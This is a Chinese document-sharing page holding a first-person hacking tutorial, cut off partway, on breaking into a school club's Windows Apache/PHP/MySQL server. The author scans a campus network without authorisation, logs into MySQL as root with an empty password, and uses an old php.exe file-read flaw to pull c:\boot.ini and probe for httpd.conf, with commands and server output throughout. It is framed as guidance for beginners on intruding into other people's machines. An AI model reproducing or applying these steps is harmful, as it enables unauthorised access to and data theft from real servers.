通过mysql命令入侵_通过mysql的入侵全过程.doc

您所在位置&＃xff1a;网站首页 > 海量文档

 > 计算机 > PHP资料

通过mysql的入侵全过程.doc7页

本文档一共被下载&＃xff1a;次,您可全文免费在线阅读后下载本文档。

下载提示

1.本站不保证该用户上传的文档完整性&＃xff0c;不预览、不比对内容而直接下载产生的反悔问题本站不予受理。

2.该文档所得收入(下载&＃43;内容&＃43;预览三)归上传者、原创者。

3.登录后可充值&＃xff0c;立即自动返金币&＃xff0c;充值渠道很便利

今天生病了&＃xff0c;没有去上自习&＃xff0c;在寝室里睡觉&＃xff0c;睡得头发胀&＃xff0c;

实在睡不着了&＃xff0c;还是找他机子练练手把&＃xff0c;用superscan扫了一下

某个c类的网段&＃xff0c;寻找开放80端口的机器&＃xff0c;结果就只有一台机器

开放了80端口&＃xff0c;试着连了一下&＃xff0c;是我们学校某个社团的的主页。

从端口的banner来看应该是apache(win32),证实一下

telnet 211.87.xxx.xxx

get(回车)

Not Implemented

get to /index

.html not supported.

Invalid method in request get

遗失对主机的连接。

C:\>

呵呵&＃xff0c;这下看得更清楚了

据我猜测&＃xff0c;应该是“apache&＃43;mysql&＃43;php”的黄金组合吧

习惯性的mysql -h 211.87.xxx.xxx

果然连上了

Welcome to the MySQL monitor. Commands end with or \g.

Your MySQL connection id is 17 to server version: 3.23.53-max-nt

Type help; or \h for help. Type \c to clear the buffer.

mysql>

断开试着

mysql -h 211.87.xxx.xxx -u root -p

password:

Welcome to the MySQL monitor. Commands end with or \g.

Your MySQL connection id is 18 to server version: 3.23.53-max-nt

Type help; or \h for help. Type \c to clear the buffer.

mysql>

呵呵&＃xff0c;大家看到了他的root用户没有密码&＃xff0c;这是我今天要说的第一个主题。

这是相当的危险的&＃xff0c;碰见这种情况&＃xff0c;有99.999%的可能可以进入

既然使用的apache&＃43;php&＃xff0c;只要找到他在本地存放的web的物理路径就为所欲为了

呵呵

下一个问题是我今天要说的重点怎么样才能知道那台主机的存放的web的物理路径&＃xff1f;

方法有很多种&＃xff0c;在这里我介绍2种方法供初学者参考

首先要告诉大家的是低版本的apache&＃43;php有一个漏洞

提交http://xxx.xxxx.xxx.xxx/php/php.exe?对方的物理文件名

就可以把那个物理文件下载下来。

于是提交http://211.87.xxx.xxx/php/php.exe?c:\a.txt

返回

No input file specified. (没有这个漏洞的话提示找不到网页)

好的&＃xff0c;这说明他有这个漏洞。

在提交http://211.87.xxx.xxx/php/php.exe?c:\boot.ini

返回

[boot loader] timeout&＃61;30 default&＃61;multi(0)disk(0)rdisk(0)partition(1)\WINDOWS [operating

systems] multi(0)disk(0)rdisk(0)partition(1)\WINDOWS&＃61;"Microsoft Windows XP Professional"

/fastdetect

呵呵&＃xff0c;装的还是xp。

好了&＃xff0c;我们可以猜测对方apache的conf文件的物理位置了

http://211.87.xxx.xxx/php/php.exe?c:\apache\conf\httpd.conf

No input file specified.

http://211.87.xxx.xxx/php/php.exe?d:\apache\conf\httpd.conf

No input file specified.

http://211.87.xxx.xxx/php/php.exe?e:\apache\conf\httpd.conf

No input file specified.

http://211.87.xxx.xxx/php/php.exe?c:\Program Files\apache\conf\httpd.conf

No input file specifie

发表评论

请自觉遵守互联网相关的政策法规&＃xff0c;严禁发布色情、暴力、反动的言论。

用户名:

验证码:

匿名?

发表评论